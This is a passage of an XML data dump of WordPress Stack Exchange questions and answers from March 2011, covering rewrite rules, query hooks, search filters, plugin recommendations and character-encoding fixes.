y-Axis&#xA;            check_preview_refresh();&#xA;            }&#xA;        );&#xA;        jQuery(&quot;#$zona1x&quot;).change(function() {// if a user changed the x-Axis&#xA;            check_preview_refresh();&#xA;            }&#xA;        );&#xA;    });&#xA;&#xA;    function check_preview_refresh(){&#xA;        if (jQuery(&quot;#zona1y&quot;).val() != '' &amp;amp;&amp;amp; jQuery(&quot;#zona1x&quot;).val() != '' ){&#xA;            jQuery.ajax({&#xA;                type: &quot;post&quot;,url: &quot;admin-ajax.php&quot;,data: { action: 'site_preview', _ajax_nonce: '&amp;lt;?php echo $nonce; ?&amp;gt;' },&#xA;                success: function(html){&#xA;                    jQuery(&quot;#themepreview&quot;).html(html);&#xA;                    jQuery(&quot;#themepreview&quot;).show();&#xA;                }&#xA;            });&#xA;        }&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this code assumes that you have two input fields with the id of &quot;zona1y&quot; and &quot;zona1y&quot;&#xA;and a div wrapping your Iframe with the id of &quot;themepreview&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and that should get you started.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I forgot you will need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_site_preview', 'mystique_get_site_preview');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first part + the last line of code go in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the second part needs to go on your theme option panel page.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-22T14:49:09.683" LastActivityDate="2011-03-22T14:49:09.683" CommentCount="17" />
  <row Id="12700" PostTypeId="1" AcceptedAnswerId="12704" CreationDate="2011-03-22T09:42:32.650" Score="2" ViewCount="490" Body="&lt;p&gt;I'm looking for a plugin or a idea so that my WP 3.1 search engine can index PDF files. Has anyone be through that need too ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-03-28T19:05:44.237" Title="How to make search engine index PDF files?" Tags="&lt;plugins&gt;&lt;search&gt;" AnswerCount="2" />
  <row Id="12702" PostTypeId="1" AcceptedAnswerId="12720" CreationDate="2011-03-22T10:04:32.623" Score="0" ViewCount="71" Body="&lt;p&gt;Is there any free  WordPress plugin or theme that sort posts as 'top this year' and 'top last month&quot; or 'top 24 hours' based on voting? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;the Vote It Up plugin&lt;/a&gt; right now. But it doesn't have the capability of sorting post as a loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-22T12:58:26.007" LastActivityDate="2011-03-22T15:14:00.287" Title="Plugin or theme that sort posts as 'top this year' and 'top last month&quot;?" Tags="&lt;plugin-recommendation&gt;&lt;plugin-vote-it-up&gt;" AnswerCount="2" />
  <row Id="12703" PostTypeId="1" CreationDate="2011-03-22T10:05:55.470" Score="0" ViewCount="135" Body="&lt;p&gt;I'm looking for a plugin or hook or code that makes possible ordering in custom type posts list by custom field in the administration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check the screenshot&#xA;&lt;a href=&quot;http://www.maquett.com/_temp/wp-question-02.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.maquett.com/_temp/wp-question-02.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able by default to order by &quot;Title&quot; (1)&#xA;Is there a way to order by a custom field? (2) &#xA;I can do that in the normal posts (3)&#xA;But is it possible to do that in custom type posts? (4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress 3.1&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4128" LastActivityDate="2011-03-22T10:05:55.470" Title="How to order custom type posts list in administration by custom field?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;admin&gt;&lt;sort&gt;" CommentCount="1" />
  <row Id="12704" PostTypeId="2" ParentId="12700" CreationDate="2011-03-22T10:13:44.663" Score="4" ViewCount="" Body="&lt;p&gt;The standard WordPress search is pretty basic and only search the database, there are some plugins that extend the search functionality to search even more parts of the database like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;Search Everything&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-unleashed/&quot; rel=&quot;nofollow&quot;&gt;Search Unleashed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but they do not have the ability to search files.&#xA;There is one plugin that i know of that claims to support indexing PDF and DOC files&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sphider/&quot; rel=&quot;nofollow&quot;&gt;Sphider for WordPress&lt;/a&gt;&#xA;which is  a bit outdated and i have tried before so you might want to check it out.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But &lt;strong&gt;the best solution&lt;/strong&gt; I have used for this kind of &quot;Job&quot; is &lt;a href=&quot;http://www.google.com/cse/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Google custom search&lt;/strong&gt;&lt;/a&gt; &#xA;that searchs PDFs and DOCs and is fairly easy to set up.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-22T10:13:44.663" CommentCount="1" />
  <row Id="12705" PostTypeId="1" CreationDate="2011-03-22T10:29:23.057" Score="0" ViewCount="103" Body="&lt;p&gt;I want to know whether someone knows of some plugin which can insert question answer functionaily just like &lt;a href=&quot;http://www.makeuseof.com/answers/&quot; rel=&quot;nofollow&quot;&gt;MakeUseof&lt;/a&gt;?&#xA;I want this functiolity in an existing site, not some standalone theme floating around in the market. Or any detailed explaination how with multiple plugins this can be acheieved.&#xA;I want much simmillar facility as on the makeuse of site. With tabs like most popular, unanswered etc.&lt;/p&gt;&#xA;" OwnerUserId="4129" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-22T12:33:08.863" LastActivityDate="2011-03-22T12:33:08.863" Title="Q&amp;A functionality with a plugin?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="12706" PostTypeId="2" ParentId="12705" CreationDate="2011-03-22T10:41:50.270" Score="1" ViewCount="" Body="&lt;p&gt;there are &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=question&quot; rel=&quot;nofollow&quot;&gt;a lot of plugins out there&lt;/a&gt; to add this kind of functionality and&#xA;the one that i would recommend is &lt;a href=&quot;http://wordpress.org/extend/plugins/question-and-answer-forum/&quot; rel=&quot;nofollow&quot;&gt;Question and Answer Forum&lt;/a&gt;&#xA;which will get you closes to the example you link with no hard work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;main features:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ask question form short code&lt;/li&gt;&#xA;&lt;li&gt;list question short code&lt;/li&gt;&#xA;&lt;li&gt;email admin when question is asked capability&lt;/li&gt;&#xA;&lt;li&gt;custom email to author of question when question is asked&lt;/li&gt;&#xA;&lt;li&gt;display of questions can be customised by theme&lt;/li&gt;&#xA;&lt;li&gt;spam filtering of questions&lt;/li&gt;&#xA;&lt;li&gt;dashboard widget showing last 5 questions&lt;/li&gt;&#xA;&lt;li&gt;user profiles including a tables with the number of questions, answers and best answers they have provided.&lt;/li&gt;&#xA;&lt;li&gt;best answers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-22T10:41:50.270" CommentCount="1" />
  <row Id="12707" PostTypeId="2" ParentId="12653" CreationDate="2011-03-22T10:58:43.547" Score="1" ViewCount="" Body="&lt;p&gt;I don't use (widely recommended) TortoiseSVN at moment, but turns out it has very &lt;a href=&quot;http://tortoisesvn.net/support.html&quot; rel=&quot;nofollow&quot;&gt;extensive manual, available online and for download in multiple languages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its own words:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This book is written for computer literate folk who want to use Subversion to manage their data, but are uncomfortable using the command line client to do so. ( &lt;a href=&quot;http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-preface.html#tsvn-preface-audience&quot; rel=&quot;nofollow&quot;&gt;Preface&lt;/a&gt; )&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This document describes day to day usage of the TortoiseSVN client. It is not an introduction to version control systems, and not an introduction to Subversion (SVN). It is more like a place you may turn to when you know approximately what you want to do, but don't quite remember how to do it. ( &lt;a href=&quot;http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug.html&quot; rel=&quot;nofollow&quot;&gt;Chapter 4. Daily Use Guide&lt;/a&gt; )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Pretty much what I was looking for, reading it now.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-22T10:58:43.547" />
  <row Id="12708" PostTypeId="1" AcceptedAnswerId="12709" CreationDate="2011-03-22T11:42:32.433" Score="0" ViewCount="500" Body="&lt;p&gt;I'm not able to make it work by adding custom rewrite rules into &lt;code&gt;functions.php&lt;/code&gt; or adding custom permastructures either. I have this code in my &lt;code&gt;.htaccess&lt;/code&gt; that is working fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;# BEGIN IPHONE RULES&#xA;RewriteRule ^mobile/([^/]+)$ mobile/index.php?action=$1 [QSA,L]&#xA;# END IPHONE RULES&#xA;# BEGIN PDF RULES&#xA;RewriteRule ^certificates/30-Days-Certificate-([0-9]+)$ pdf/index.php?type=30day&amp;amp;period=$1 [QSA,L]&#xA;RewriteRule ^certificates/12-Month-Certificate$ pdf/index.php?type=12Month [QSA,L]&#xA;# END PDF RULES&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But every once a while it gets refreshed to defaults and I lose the iPhone and pdf rules. The mobile is called like this &lt;code&gt;/mobile/progress?userId=22&amp;amp;date=2011-02-21&lt;/code&gt; where &lt;code&gt;progress&lt;/code&gt; is the action and the others are just query vars. On the &lt;code&gt;.htaccess&lt;/code&gt; is working fine but I can't manage to make it work by adding custom rules. Any help will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4130" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-22T12:30:27.993" LastActivityDate="2011-03-22T12:30:27.993" Title="Rewrite rules in .htaccess get overwritten?" Tags="&lt;url-rewriting&gt;&lt;htaccess&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12709" PostTypeId="2" ParentId="12708" CreationDate="2011-03-22T12:22:01.513" Score="0" ViewCount="" Body="&lt;p&gt;The part between the &lt;code&gt;# BEGIN WordPress&lt;/code&gt; and &lt;code&gt;# END WordPress&lt;/code&gt; will always be rewritten when the permalinks are flushed. You can either place your extra rewrite rules before this segment, or you can add register them in WordPress as &lt;em&gt;external rewrite rules&lt;/em&gt;. If you flush your rules now (by visiting the &lt;em&gt;Permalinks&lt;/em&gt; page, for example), your extra rules will be added to the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse12708_init' );&#xA;function wpse12708_init()&#xA;{&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;add_external_rule( 'mobile/([^/]+)$', 'mobile/index.php?action=$1' );&#xA;    $wp_rewrite-&amp;gt;add_external_rule( 'certificates/30-Days-Certificate-([0-9]+)$', 'pdf/index.php?type=30day&amp;amp;period=$1' );&#xA;    $wp_rewrite-&amp;gt;add_external_rule( 'certificates/12-Month-Certificate$', 'pdf/index.php?type=12Month' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-22T12:22:01.513" CommentCount="7" />
  <row Id="12710" PostTypeId="2" ParentId="12702" CreationDate="2011-03-22T12:23:15.803" Score="1" ViewCount="" Body="&lt;p&gt;Until the plugin switches to storing votes differently there's going to be no nice way to sort based on votes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at a row from the votes table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-------------------------------------------------------+&#xA;| ID | post |  votes  | guests | usersinks | guestsinks |&#xA;+-------------------------------------------------------+&#xA;| 1  | 1234 | ,1,2,3  |        |           |            |&#xA;+-------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the votes for users are being stored in a singular column(votes), and MySQL has no proper way to split, count and order based on that column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps some MySQL ninja can create a procedure/function to do it, but that's beyond my SQL know-how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why the author choose to store votes that way, but from a result sorting perspective that's a poor DB design decision(imo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate i havn't really addressed the question, but thought it might be nice to point out while it may be something that is easy in theory, there's a good reason the author hasn't provided this facility with the plugin already - his db design makes sorting based on vote extremely hard(at the SQL level at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i'd do if i was writing such a plugin..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use one new table for holding just the votes, all votes..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some imaginary data in the table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Table: wp_post_votes&#xA;Type: new&#xA;+--------------------------------------------+&#xA;|  ID    |  post_id |  user_id  |  type      |&#xA;+--------------------------------------------+&#xA;|  1     |  123     |   10      |  up        |&#xA;|  2     |  123     |   22      |  down      |&#xA;|  3     |  123     |   4       |  up        |&#xA;|  4     |  123     |   1       |  up        |&#xA;|  5     |  25      |   6       |  up        |&#xA;|  6     |  25      |   10      |  up        |&#xA;|  7     |  25      |   1       |  down      |&#xA;|  8     |  25      |   2       |  up        |&#xA;+--------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alongside that i'd use usermeta and postmeta to store vote counts for both the posts and users voting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some imaginary meta data to help visualize.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Table: wp_postmeta&#xA;Type: core, existing&#xA;+-----------------------------------------------------------+&#xA;|  meta_id  |  post_id   |   meta_key   |   meta_value      |&#xA;+-----------------------------------------------------------+&#xA;|  512      |   123      |  vote_count  |        4          |&#xA;|  513      |   25       |  vote_count  |        4          |&#xA;+-----------------------------------------------------------+&#xA;&#xA;Table: wp_usermeta&#xA;Type: core, existing&#xA;+-----------------------------------------------------------+&#xA;|  umeta_id  |  user_id  |  meta_key   |  meta_value        |&#xA;+-----------------------------------------------------------+&#xA;|  443       |   1       |  vote_count |       2            |&#xA;|  445       |   2       |  vote_count |       1            |&#xA;|  442       |   4       |  vote_count |       1            |&#xA;|  444       |   6       |  vote_count |       1            |&#xA;|  440       |   10      |  vote_count |       2            |&#xA;|  441       |   22      |  vote_count |       1            |&#xA;+-----------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way the posts could be sorted based on meta value and additionally leveraging the meta tables would mean quick access to update and fetch functions, like &lt;code&gt;get_user_meta&lt;/code&gt;, &lt;code&gt;get_post_meta&lt;/code&gt;, &lt;code&gt;update_post_meta&lt;/code&gt; ... and so on..(i'm sure you get the point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thinking out loud, because your question had me thinking about how i'd do it differently..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-22T14:53:29.797" LastActivityDate="2011-03-22T14:53:29.797" CommentCount="2" />
  <row Id="12711" PostTypeId="1" AcceptedAnswerId="12714" CreationDate="2011-03-22T12:38:22.223" Score="-1" ViewCount="263" Body="&lt;p&gt;I'm trying to add some checkbox options to a sidebar search box, &lt;a href=&quot;http://www.attentional.com/attentional_blog/blogs/&quot; rel=&quot;nofollow&quot;&gt;similar to this&lt;/a&gt;, where the user has the option to choose whether to search &lt;code&gt;All Words&lt;/code&gt;, &lt;code&gt;Some Word&lt;/code&gt;, or the &lt;code&gt;Entire phrase&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find this after some searching - &lt;a href=&quot;http://wordpress.org/support/topic/how-to-search-phrases&quot; rel=&quot;nofollow&quot;&gt;Wordpress Search Phrases&lt;/a&gt;. The 'sentence' option seems to work well, but the others not so good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below is what I'm working on at the moment, but would really appreciate some help to get this working properly. Many thanks in advance, S. (I do not wish to use plugins for this).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;/&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;search-icon&quot;&amp;gt;       &#xA;     &amp;lt;label for=&quot;search&quot; accesskey=&quot;4&quot; class=&quot;hidden&quot;&amp;gt;Search the site&amp;lt;/label&amp;gt;                  &#xA;     &amp;lt;input type=&quot;text&quot; name=&quot;s&quot; id=&quot;search&quot; value=&quot;Enter search term&quot; onblur=&quot;this.value = this.value || this.defaultValue;&quot; onfocus=&quot;this.value = '';&quot; /&amp;gt;             &#xA;     &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;GO&quot; class=&quot;s-btn&quot; /&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot; id=&quot;search-anchor&quot;&amp;gt;Search Options&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;div class=&quot;option-slide&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;radio&quot; name=&quot;sentence&quot; value=&quot;&quot; checked=&quot;checked&quot; /&amp;gt;&amp;lt;label&amp;gt;All Words&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;     &amp;lt;input type=&quot;radio&quot; name=&quot;sentence&quot; value=&quot;or&quot; /&amp;gt;&amp;lt;label&amp;gt;Some Word&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;     &amp;lt;input type=&quot;radio&quot; name=&quot;sentence&quot; value=&quot;and&quot; /&amp;gt;&amp;lt;label&amp;gt;Entire phrase&amp;lt;/label&amp;gt;    &#xA;     &amp;lt;/div&amp;gt;   &#xA; &amp;lt;/div&amp;gt;&amp;lt;/form&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: The answer below doesn't actually work after all : ( Anybody else have any ideas please?&lt;/strong&gt;              &lt;/p&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="3362" LastEditorDisplayName="" LastEditDate="2011-05-11T14:03:10.050" LastActivityDate="2011-05-11T14:03:10.050" Title="Search options/filters" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="12712" PostTypeId="2" ParentId="12692" CreationDate="2011-03-22T12:48:07.003" Score="2" ViewCount="" Body="&lt;p&gt;As toscho said, you can modify the query in the &lt;code&gt;pre_get_posts&lt;/code&gt; hook. That hook gets the query object passed as an argument, so you don't have to read a global variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse12692_pre_get_posts' ); &#xA;function wpse12692_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if( isset( $_SESSION['size'] ) &amp;amp;&amp;amp; $_SESSION['size'] != 'all' )&#xA;    {&#xA;        $wp_query-&amp;gt;query_vars['meta_query'] = array(&#xA;            'key' =&amp;gt; 'cc_size',&#xA;            'value' =&amp;gt; $_SESSION['size'],&#xA;        );&#xA;    }&#xA;&#xA;    if( isset( $_SESSION['gender'] ) &amp;amp;&amp;amp; $_SESSION['gender'] != 'all' )&#xA;    {&#xA;        $wp_query-&amp;gt;query_vars['meta_query'] = array(&#xA;            'key' =&amp;gt; 'cc_gender',&#xA;            'value' =&amp;gt; $_SESSION['gender'],&#xA;        );&#xA;    }&#xA;&#xA;    $wp_query-&amp;gt;query_vars['orderby'] = 'post-title';&#xA;    // The next line is redundant, get_query_vars reads it from the global $wp_query object&#xA;    $wp_query-&amp;gt;query_vars['paged'] = get_query_var('paged');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see that your query depends on session variables. This can make it harder to forward a link to a page to someone else. Have you considered putting this in the URL and reading it from there? You can do that by creating extra rewrite rules.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-22T12:48:07.003" CommentCount="1" />
  <row Id="12713" PostTypeId="1" AcceptedAnswerId="20519" CreationDate="2011-03-22T13:08:28.117" Score="3" ViewCount="193" Body="&lt;p&gt;i'm running my web in english and german using the WPML plugin.&#xA;my question:&#xA;when in english mode - is it possible getting the page_title() but in german?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-06-20T16:57:21.073" Title="WPML: getting page title in different language" Tags="&lt;multi-language&gt;&lt;plugin-wpml&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="12714" PostTypeId="2" ParentId="12711" CreationDate="2011-03-22T13:11:08.720" Score="2" ViewCount="" Body="&lt;p&gt;First things first: the name attribute for your &quot;All Words&quot; checkbox shouldn't be 's'. That replaces the search text with &quot;1&quot;, so when that's checked, you're searching for &quot;1&quot;, not for the search text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you want to use 'exact' if you're looking to replicate the example you gave in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Search for &quot;Two Things&quot; in titles and content:&#xA;&#xA;Matches                   Does not match&#xA;&#xA;&quot;Two&quot;                     &quot;Two Things More&quot;&#xA;&quot;Things&quot;                  &quot;One or Two Things&quot;&#xA;&quot;Two Things&quot;              &quot;Two Things.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could go on and on about what it won't match, but you get the idea. This is probably why you are getting unexpected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, try changing the name of the 'all words' checkbox to something that won't get matched, like &lt;code&gt;'fake_search_flag_name'&lt;/code&gt;, since that flag is just describing WordPress' normal default search capabilities anyway.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ok, now that they're radios, here's something you can do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one is WordPress' default behavior, so you need to make the VALUE empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; name=&quot;sentence&quot; value=&quot;&quot; checked=&quot;checked&quot; /&amp;gt; All Words&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that box is checked, since the value is empty, WordPress will ignore it and use its default functionality. The next part is somewhat tricky. Change the values of the other two radios, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; name=&quot;sentence&quot; value=&quot;or&quot; /&amp;gt; Some Word&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;sentence&quot; value=&quot;and&quot; /&amp;gt; Entire phrase&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In and of itself this will make them both behave the same way: the way you want 'Entire Phrase' to work. So we need to get 'Some Word' working. I haven't tested this next part at all, but it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to filter the search query to allow for the search terms to match posts that have some of the words but not all of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_search', 'my_awesome_posts_search_filter' );&#xA;&#xA;function my_awesome_posts_search_filter( $sql, $wpq ){&#xA;  if( !isset( $wpq-&amp;gt;query_vars['sentence'] ) || 'or' != $wpq-&amp;gt;query_vars['sentence'] )&#xA;    return $sql;&#xA;  $new_search = str_replace( ') AND (', ') OR (', $sql );&#xA;  return $new_search;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;em&gt;should&lt;/em&gt; do it.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-23T13:15:03.837" LastActivityDate="2011-03-23T13:15:03.837" CommentCount="5" />
  <row Id="12715" PostTypeId="2" ParentId="11027" CreationDate="2011-03-22T13:13:03.230" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;post_type_link&lt;/code&gt; hooks gets called for all links to custom post types, you are responsible for checking the link type. Remember to use the passed &lt;code&gt;$post&lt;/code&gt; object (not post ID), otherwise you check the current global &lt;code&gt;$post&lt;/code&gt; variable, which may not be the post for which you are creating a link now. So the code you added in your comment is almost correct, I would write it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt1_permalink( $post_link, $post, $leavename )&#xA;{&#xA;    // Yoda condition to be safe&#xA;    // http://stackoverflow.com/questions/2349378/new-programming-jargon-you-coined/2430307#2430307&#xA;    if ( 'cpt1name' != $post-&amp;gt;post_type ) {&#xA;        return $post_link;&#xA;    }&#xA;    // Rest of your code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-22T13:13:03.230" CommentCount="1" />
  <row Id="12716" PostTypeId="2" ParentId="12607" CreationDate="2011-03-22T13:45:53.437" Score="0" ViewCount="" Body="&lt;p&gt;You might be able to solve this if you have a text editor with good encoding support. That way, you could switch between the Latin 1 and the UTF-8 encoding until you have the right combination. I use &lt;a href=&quot;http://www.codingmonkeys.de/subethaedit/&quot; rel=&quot;nofollow&quot;&gt;SubEthaEdit&lt;/a&gt; which can convert but also reinterpret a file when you change the encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ç&lt;/code&gt; should be encoded as &lt;code&gt;c3 a7&lt;/code&gt; in UTF-8 when you view them as bytes. What could be happening here is that the file was interpreted as Latin 1 first, where &lt;code&gt;c3 a7&lt;/code&gt; means &lt;code&gt;Ã§&lt;/code&gt;, and then saved as UTF-8, where &lt;code&gt;Ã§&lt;/code&gt; is saved as &lt;code&gt;c3 83 c2 a7&lt;/code&gt;. You want the &lt;code&gt;c3 a7&lt;/code&gt; version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to get back to a nice &lt;code&gt;ç&lt;/code&gt; is to open the file as UTF-8, save it as Latin-1, and then open it again as if it was UTF-8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you did this, you can import the file into MySQL, but specify it is UTF-8, otherwise MySQL might try to interpret it as Latin 1 and you will still have the &lt;code&gt;Ã§&lt;/code&gt; characters.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-22T13:45:53.437" CommentCount="3" />
  <row Id="12717" PostTypeId="2" ParentId="12189" CreationDate="2011-03-22T14:19:32.117" Score="2" ViewCount="" Body="&lt;p&gt;The API returns the following columns when you query the &lt;code&gt;postviews&lt;/code&gt; table:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;date&lt;/li&gt;&#xA;&lt;li&gt;post_id&lt;/li&gt;&#xA;&lt;li&gt;post_title&lt;/li&gt;&#xA;&lt;li&gt;post_permalink&lt;/li&gt;&#xA;&lt;li&gt;views&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For my blog the &lt;code&gt;post_id&lt;/code&gt; column was either empty or &lt;code&gt;0&lt;/code&gt; (for the homepage). So unless you have good values there, you will have to work from the &lt;code&gt;post_permalink&lt;/code&gt; value and determine whether it is a page or a post (via a query on the database or a regex on the URL?), and then query your database for the post thumbnail, because the WordPress.com stats API does not collect info on that.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-22T14:19:32.117" />
